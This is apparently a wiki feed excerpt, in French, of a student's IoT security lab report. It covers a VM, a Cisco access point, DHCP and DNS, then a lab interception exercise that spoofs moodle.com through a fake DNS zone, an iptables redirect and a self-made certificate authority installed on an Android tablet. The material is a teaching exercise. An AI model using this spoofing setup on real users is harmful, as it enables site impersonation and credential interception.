&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative ==&lt;br /&gt;
//TO DO Ajouter méthode routage android Android studio.&lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au résau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentai de me peser, la balance affiche err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient. A chaque fois qu'elle redémarre, elle vient récupérer une IP, elle n'aura donc pas forcement la 105.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma vm)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10856</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10856"/>
		<updated>2025-11-18T15:44:55Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Nedis Wi-Fi Smart Personal Scales */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
